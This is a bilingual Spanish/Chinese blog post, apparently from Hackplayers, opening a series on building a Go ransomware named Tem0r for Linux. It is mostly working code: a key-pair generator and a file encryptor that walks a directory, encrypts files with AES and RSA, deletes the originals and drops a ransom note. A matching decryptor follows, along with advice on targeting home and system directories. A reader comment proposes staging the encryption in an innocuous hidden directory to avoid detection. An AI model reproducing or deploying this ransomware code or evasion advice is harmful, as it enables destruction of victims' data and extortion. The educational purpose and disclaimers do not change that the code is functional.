在万圣节宿醉中,今天我们就从一系列文章开始写一些非常可怕的东西:一个 Linux 的勒索软件工件从 0.名为 Tem0r,它是用 Go 语言编写的,因为将来可能更容易将其导出到其他平台,例如 Windows,最重要的是,它为我们提供了拥有静态二进制文件的可能性,也就是说,它们不依赖于外部库,这大大简化了它们的分发和执行。
Por supuesto, se trata de malware funcional por lo que se recomienda probarlo en una máquina virtual de prueba (en cualquier Ubuntu u otra distro debería funcionar) y nunca utilizarlo contra sistemas de terceros sin previo consentimiento. Que quede claro desde el principio que desde Hackplayers no nos responsabilizamos de cualquier uso debido o indebido del mismo.
当然,这是功能性恶意软件,因此建议在测试虚拟机中对其进行测试(在任何 Ubuntu 或其他发行版上它应该可以工作),并且未经事先同意,切勿将其用于第三方系统。让我们从一开始就明确,Hackplayers 不对任何正当或不当的使用负责。
Por otro lado, comentar también que este artefacto se trata de código con propósito totalmente educacional, es decir, ni está optimizado ni pretender estarlo, simplemente está creado para poder compartir y aprender todos juntos puesto, creerme, debemos ser profundamente antagónicos a la seguridad por oscuridad. Y dicho ésto, ¡empezamos la serie!
另一方面,我还想评论一下,这个工件是完全具有教育目的的代码,也就是说,它既没有经过优化,也没有假装经过优化,它只是为了能够一起分享和学习而创建的,因为相信我,我们必须对黑暗的安全深深敌对。话虽如此,我们开始这个系列吧!
Tem0r es un típico ransomware de doble extorsión: cifrará los datos de la víctima y los exfiltrará para pedir luego el rescate. A grandes rasgos en su versión básica lo que hará será crear un par de claves, enviará la clave cifrada al atacante, cifrará con la clave pública los archivos de la víctima y los enviará también durante el proceso. Ese es el core fundamental, luego publicaremos el código completo en Github e iremos añadiendo entre todos más variantes y funcionalidades en posteriores versiones.
Tem0r 是一种典型的双重勒索勒索软件:它会加密受害者的数据并泄露出来,然后索要赎金。从广义上讲,在其基本版本中,它将做的是创建一对密钥,将加密的密钥发送给攻击者,使用公钥加密受害者的文件,并在此过程中发送它们。这是基本核心,然后我们将在 Github 上发布完整的代码,并将在后续版本中添加更多变体和功能。
Básicamente en esta primera entrada vamos a centrarnos en el proceso de cifrado. Para empezar, crearemos un pequeño script para generar en el directorio /tmp/dummy un número considerable de ficheros (200) emulando el directorio que el threat actor de turno cifrará y exfiltrará en su intrusión:
基本上,在第一篇文章中,我们将重点介绍加密过程。首先,我们将创建一个小脚本,在 /tmp/dummy 目录中生成大量文件 (200),以模拟值班威胁行为者在入侵中将加密和泄露的目录:
package main
import (
cryptorand "crypto/rand"
"fmt"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
func main() {
// Seed the math/rand package for randomness
rand.Seed(time.Now().UnixNano())
// Create the directory if it doesn't exist
err := os.MkdirAll("/tmp/dummy", 0755)
if err != nil {
fmt.Println("Error creating directory:", err)
return
}
// Define file extensions for text and binary files
textExtensions := []string{".txt", ".log", ".csv"}
binaryExtensions := []string{".bin", ".dat", ".jpg"}
// Generate 200 files
for i := 0; i < 200; i++ {
// Decide on file type (50% chance of text or binary)
isText := rand.Intn(2) == 0
// Randomly choose an extension based on file type
var extension string
if isText {
extension = textExtensions[rand.Intn(len(textExtensions))]
} else {
extension = binaryExtensions[rand.Intn(len(binaryExtensions))]
}
// Create the filename
filename := filepath.Join("/tmp/dummy", fmt.Sprintf("dummy_%d%s", i, extension))
// Open the file
file, err := os.Create(filename)
if err != nil {
fmt.Println("Error creating file:", err)
continue
}
// Write content based on file type
if isText {
// Generate random text content
content := generateRandomText()
_, err = file.WriteString(content)
} else {
// Generate random binary content (size between 100KB and 1MB)
size := rand.Intn(900000) + 100000
_, err = io.CopyN(file, cryptorand.Reader, int64(size))
}
if err != nil {
fmt.Println("Error writing to file:", err)
file.Close()
continue
}
file.Close() // Close the file after writing
}
fmt.Println("200 dummy files created in /tmp/dummy")
}
// generateRandomText creates a random sentence for text files
func generateRandomText() string {
words := []string{"example", "random", "data", "test", "file", "content", "dummy", "information"}
sentenceLength := rand.Intn(20) + 5 // Random sentence length between 5 and 25 words
var sentence []string
for i := 0; i < sentenceLength; i++ {
sentence = append(sentence, words[rand.Intn(len(words))])
}
return strings.Join(sentence, " ") + "\n"
}
如果我们编译并运行它,我们将看到我们已经有了测试勒索软件的目标:
在 /tmp/dummy 中创建 200 个虚拟文件
内容内容示例 示例 文件示例
当然,普通勒索软件会尝试加密桌面、文档和下载内容等所在的 /home 目录。除了通常允许所有用户访问的常见系统目录(如 /tmp 或 /var/tmp)之外。如果执行勒索软件的人拥有提升的权限或 root,情况会更加严重,在这种情况下,如果 /etc、/var、/usr、/bin、/sbin 等目录被加密,甚至系统的稳定性也会受到威胁。那些进行备份并让系统可以访问它们的人呢……
在大多数勒索软件中也很常见,尤其是那些大规模针对家庭用户的勒索软件,只加密一系列具有特定扩展名的文件。通过这种方式,攻击者通过快速影响对用户具有重要价值的文件(例如办公工作文档、个人照片、项目等)来加快泄露过程。您可以想象,加密这些文件会使它们无法访问,并迫使受害者支付赎金以取回它们。不幸的是,截至 2023 年 Linux 桌面的百分比仅为 3.01%,因此 Linux 中的勒索软件工件策略通常不侧重于过滤掉这些文件扩展名和用户目录。
Volviendo a nuestro ransomware, lo que haremos primero es crear el par de claves RSA en el equipo de la victima. Veamos el fragmento de código, recordad en Go:
回到我们的勒索软件,我们首先要做的是在受害者的计算机上创建 RSA 密钥对。让我们看看代码片段,记住在 Go 中:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
)
func generateRSAKey() error {
// Generates a 2048-bit RSA key pair
privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return err
}
// Encodes the private key in PEM format
privDER := x509.MarshalPKCS1PrivateKey(privateKey)
privBlock := pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: privDER,
}
privPEM := pem.EncodeToMemory(&privBlock)
// Write the private key to a file
err = ioutil.WriteFile("private.key", privPEM, 0600)
if err != nil {
return err
}
// Encodes the public key in PEM format
pubDER, err := x509.MarshalPKIXPublicKey(&privateKey.PublicKey)
if err != nil {
return err
}
pubBlock := pem.Block{
Type: "RSA PUBLIC KEY",
Bytes: pubDER,
}
pubPEM := pem.EncodeToMemory(&pubBlock)
// Write the public key to a file
err = ioutil.WriteFile("public.key", pubPEM, 0600)
if err != nil {
return err
}
return nil
}
func main() {
err := generateRSAKey()
if err != nil {
fmt.Println("Error generating keys:", err)
} else {
fmt.Println("RSA keys generated successfully.")
}
}
基本上,如果您查看并运行这个简单的脚本,您将看到两个 2048 位的 private.key 和 public.key 密钥分别以 PKCS#1 和 PKIX 格式生成,并最终将它们存储在 PEM 中:
Evidentemente una vez generada la clave privada para descifrar lo que se hará será enviarla inmediatamente al atacante para luego proceder al cifrado con la clave pública. pero eso lo veremos en el siguiente post. En éste, como decíamos, vamos a centrarnos en el proceso de cifrado y descifrado. El siguiente script está diseñado para cifrar todos los archivos dentro del directorio específico utilizando una combinación de dos algoritmos de cifrado: AES para el cifrado de datos y RSA para la protección de la clave AES:
显然,一旦生成了要解密的私钥,将要做的是立即将其发送给攻击者,然后使用公钥进行加密。但我们将在下一篇文章中看到这一点。正如我们所说,在这篇文章中,我们将专注于加密和解密过程。以下脚本旨在使用两种加密算法的组合来加密特定目录中的所有文件:用于数据加密的 AES 和用于 AES 密钥保护的 RSA:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
publicKeyFile := "public.key"
sourceDir := "/tmp/dummy"
// Load the public key
publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
if err != nil {
fmt.Println("Error reading public key file:", err)
return
}
block, _ := pem.Decode(publicKeyBytes)
if block == nil {
fmt.Println("Failed to decode PEM block containing the key")
return
}
parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
fmt.Println("Error parsing public key:", err)
return
}
publicKey, ok := parsedKey.(*rsa.PublicKey)
if !ok {
fmt.Println("Error: loaded key is not an RSA public key")
return
}
// Traverse all files in the source directory
err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
fmt.Println("Encrypting file:", path)
// Read the file
data, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error reading file %s: %v", path, err)
}
// Generate a random AES key
aesKey := make([]byte, 32) // AES-256 key size
if _, err := rand.Read(aesKey); err != nil {
return fmt.Errorf("error generating AES key: %v", err)
}
// Encrypt the file content using AES
encryptedData, err := encryptAES(data, aesKey)
if err != nil {
return fmt.Errorf("error encrypting file data: %v", err)
}
// Encrypt the AES key using RSA and the public key
encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
if err != nil {
return fmt.Errorf("error encrypting AES key: %v", err)
}
// Combine encrypted key and encrypted data
finalData := append(encryptedKey, encryptedData...)
// Save the encrypted file with .crypted extension, replacing the original
newPath := path + ".crypted"
err = ioutil.WriteFile(newPath, finalData, 0644)
if err != nil {
return fmt.Errorf("error writing encrypted file %s: %v", newPath, err)
}
fmt.Println("File encrypted and saved as:", newPath)
// Delete the original file
if err := os.Remove(path); err != nil {
return fmt.Errorf("error deleting original file %s: %v", path, err)
}
fmt.Println("Original file deleted:", path)
}
return nil
})
if err != nil {
fmt.Println("Error during directory encryption:", err)
return
}
fmt.Println("All files encrypted and original files removed successfully.")
// Create the ATTENTION.txt file in the source directory
attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
content := "this is only a PoC. Please, never pay for ransomware."
err = ioutil.WriteFile(attentionFile, []byte(content), 0644)
if err != nil {
fmt.Println("Error creating ATTENTION.txt:", err)
return
}
fmt.Println("ATTENTION.txt created in", sourceDir)
}
// encryptAES encrypts data using AES-GCM with the provided key.
func encryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, aesGCM.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
return ciphertext, nil
}
从本质上讲,它将所有文件变成一个无法破解的版本,而无需正确的密钥。但是,让我们一步一步地看看我们的策略:
- Lee la clave pública del archivo “public.key”.
读取 “public.key” 文件的公钥。 - Verifica que la clave sea válida y la almacena en una variable.
它验证密钥是否有效并将其存储在变量中。 - Recorre todos los archivos y para cada archivo:
遍历所有文件和每个文件: - Genera una clave aleatoria AES de 256 bits.
生成一个随机的 256 位 AES 密钥。 - Cifra el contenido del archivo utilizando AES-GCM (Galois/Counter Mode) y la clave aleatoria recién generada.
它使用 AES-GCM(伽罗瓦/计数器模式)和新生成的随机密钥加密文件的内容。 - Cifra la clave AES utilizando la clave pública RSA para proteger la clave de cifrado (padding OAEP).
使用 RSA 公钥加密 AES 密钥,以保护加密密钥(OAEP 填充)。 - Combina la clave AES cifrada y los datos del archivo cifrado en un único archivo.
它将加密的 AES 密钥和加密的文件数据合并到一个文件中。 - Guarda el archivo cifrado con una extensión “.crypted” en el mismo lugar donde estaba el archivo original.
它将使用“.crypted”扩展名加密的文件保存在原始文件所在的同一位置。 - Elimina el archivo original.
删除原始文件。 - Crea un archivo llamado “ATTENTION.txt” dentro del directorio fuente cifrado.
它会在加密的源目录中创建一个名为 “ATTENTION.txt” 的文件。 - El archivo contiene el texto: “this is only a PoC. Please, never pay for ransomware.” (Esto es solo una prueba de concepto. Por favor, nunca pague por un ransomware).
该文件包含文本:“This is only a PoC.请不要为勒索软件付费。(这只是一个概念验证。请不要为勒索软件付费。
El siguiente paso es probar si funciona correctamente el cifrado:
下一步是测试加密是否正常工作:
Como veis todos los ficheros han sido modificados y renombrados con extensión .crypted y tenemos la nota de ransom avisando de que hemos sido comprometidos:
如您所见,所有文件都已被修改并使用 .crypted 扩展名重命名,并且我们收到了赎金通知警告,表明我们已被入侵:
$ cat /tmp/dummy/ATTENTION.txt
this is only a PoC. Please, never pay for ransomware.
这只是一个 PoC。请不要为勒索软件付费。
Desde la perspectiva del atacante sería buena praxis borrar también el “crypter” recientemente usado y la clave pública una vez finalizado el proceso. Moviéndonos finalmente a la parte de descifrado, en el que la víctima recibe la clave privada correspondiente para llevarlo a cabo, los pasos serían previsiblemente los contrarios hasta recuperar cada uno de los ficheros originales. El script se muestra a continuación:
从攻击者的角度来看,在该过程完成后,最好同时删除最近使用的 “crypter” 和公钥。最后进入解密部分,受害者收到相应的私钥来执行解密,可以预见的是,在每个原始文件都恢复之前,步骤将是相反的。脚本如下所示:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
privateKeyFile := "private.key"
encryptedDir := "/tmp/dummy"
// Load the private key for decryption
privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
fmt.Println("Error reading private key file:", err)
return
}
block, _ := pem.Decode(privateKeyBytes)
if block == nil {
fmt.Println("Failed to decode PEM block containing the key")
return
}
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
fmt.Println("Error parsing private key:", err)
return
}
// Traverse all files in the encrypted directory
err = filepath.Walk(encryptedDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() && filepath.Ext(path) == ".crypted" {
fmt.Println("Decrypting file:", path)
// Read the encrypted file
encryptedData, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error reading encrypted file %s: %v", path, err)
}
// Separate the encrypted AES key and encrypted file data
encryptedKey := encryptedData[:privateKey.Size()]
fileData := encryptedData[privateKey.Size():]
// Decrypt the AES key using the private RSA key
aesKey, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, privateKey, encryptedKey, nil)
if err != nil {
return fmt.Errorf("error decrypting AES key: %v", err)
}
// Decrypt the file data using AES
decryptedData, err := decryptAES(fileData, aesKey)
if err != nil {
return fmt.Errorf("error decrypting file data: %v", err)
}
// Save the decrypted file by removing the ".crypted" extension
newPath := path[:len(path)-len(".crypted")]
err = ioutil.WriteFile(newPath, decryptedData, 0644)
if err != nil {
return fmt.Errorf("error writing decrypted file %s: %v", newPath, err)
}
fmt.Println("File decrypted and saved as:", newPath)
// Optionally delete the original encrypted file
err = os.Remove(path)
if err != nil {
return fmt.Errorf("error removing encrypted file %s: %v", path, err)
}
}
return nil
})
if err != nil {
fmt.Println("Error during decryption process:", err)
return
}
fmt.Println("All files decrypted successfully.")
}
// decryptAES decrypts data using AES-GCM with the provided key.
func decryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := aesGCM.NonceSize()
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
以及下面的分步说明:
- Se carga y decodifica la clave privada RSA (private.key), que es necesaria para descifrar la clave AES que protege el contenido de cada archivo.
上传和解码 RSA 私钥 (private.key) 是解密保护每个文件内容的 AES 密钥所必需的。 - Recorre cada archivo, y si encuentra un archivo con la extensión .crypted, intenta descifrarlo.
它会遍历每个文件,如果找到扩展名为 .encrypted 的文件,它会尝试解密它。 - Para cada archivo .crypted encontrado lee su contenido completo y luego se separa en dos partes:
对于每个找到的 .crypted 文件,它会读取其全部内容,然后将其分为两部分: - La clave AES cifrada (almacenada al inicio del archivo de longitud fija de 256 bits)
加密的 AES 密钥(存储在 256 位固定长度文件的开头) - Los datos del archivo encriptado (el resto del archivo).
加密文件中的数据(文件的其余部分)。 - La clave AES, que fue cifrada con la clave pública en el proceso de cifrado, es descifrada aquí usando la clave privada.
在加密过程中使用公钥加密的 AES 密钥在此处使用私钥解密。 - Finalmente se descifran los datos cifrados del archivo utilizando la clave AES obtenida en el paso anterior.
最后,使用上一步中获取的 AES 密钥解密文件的加密数据。 - Una vez descifrado, se guarda el archivo original, eliminando la extensión .crypted.
解密后,将保存原始文件,并删除 .encrypted 扩展名。
Si lo ejecutáis, veréis que todos los archivos .crypted han sido restaurados a sus correspondientes homólogos originales.
如果运行它,您将看到所有 .crypted 文件都已恢复到相应的原始对应文件。
Como habéis podido observar, tenemos el “ciclo” completo de cifrado y descifrado. Por favor, si veis una aproximación más eficiente, realista u otra alternativa para hacerlo no dudéis en comentar y proponer.
如您所见,我们拥有完整的加密和解密“周期”。如果您看到更有效、更现实的方法或其他替代方案,请随时发表评论并提出建议。
En la siguiente entrada (tampoco quiero aburriros demasiado hoy) veremos una estrategia para enviar la clave privada y los archivos cifrados (exfiltración) a la infraestructura del atacante.
在下一篇文章中(我今天不想让您感到太厌烦)我们将研究一种将私钥和加密文件(泄露)发送到攻击者基础设施的策略。
Y recordad, ¡mucha responsabilidad con estas cosas!
请记住,这些事情要承担很多责任!
匿名2024 年 11 月 4 日, 10:16 上午
Le veo un punto flaco, si trabajas directamente en el directorio donde se encuentran los archivos originales y vas borrando según cifras es probable que el objetivo se entere de que esta siendo atacado antes de que el ramsomware termine de hacer su trabajo. Yo creo que sería mejor que:
我看到了一个弱点,如果您直接在原始文件所在的目录中工作并根据数字进行删除,则目标很可能会在勒索软件完成其工作之前发现他们正在受到攻击。我认为如果:
1. Se hace un listado de ficheros a cifrar
1. 制作要加密的文件列表
2. Se cifran en un directorio oculto del home del usuario, preferiblemente algo que no suene malo como por ejemplo `.local/share/applications/backup`
2. 它们被加密在用户主页上的隐藏目录中,最好是听起来还不错的东西,比如 ‘.local/share/applications/backup’
3. Una vez la lista este cifrada se mueven todos los archivos de `.local/share/applications/backup` a sus ubicaciones.
3. 加密列表后,“.local/share/applications/backup”中的所有文件都将移动到其位置。
4. Se borran los originales.
4. 原始文件将被删除。
Haciéndolo de esta forma el proceso final (mover y borrar) es mas rápido y hay menos posibilidades de que el usuario se entere en el medio de la jugada. Eso si, habría que controlar que estamos siempre en el mismo disco físico porque si no el mover llevaría tiempo.
通过这样做,最终过程(移动和删除)更快,并且用户在游戏过程中发现的可能性更小。当然,我们必须检查我们是否始终在同一个物理磁盘上,否则移动会花费时间。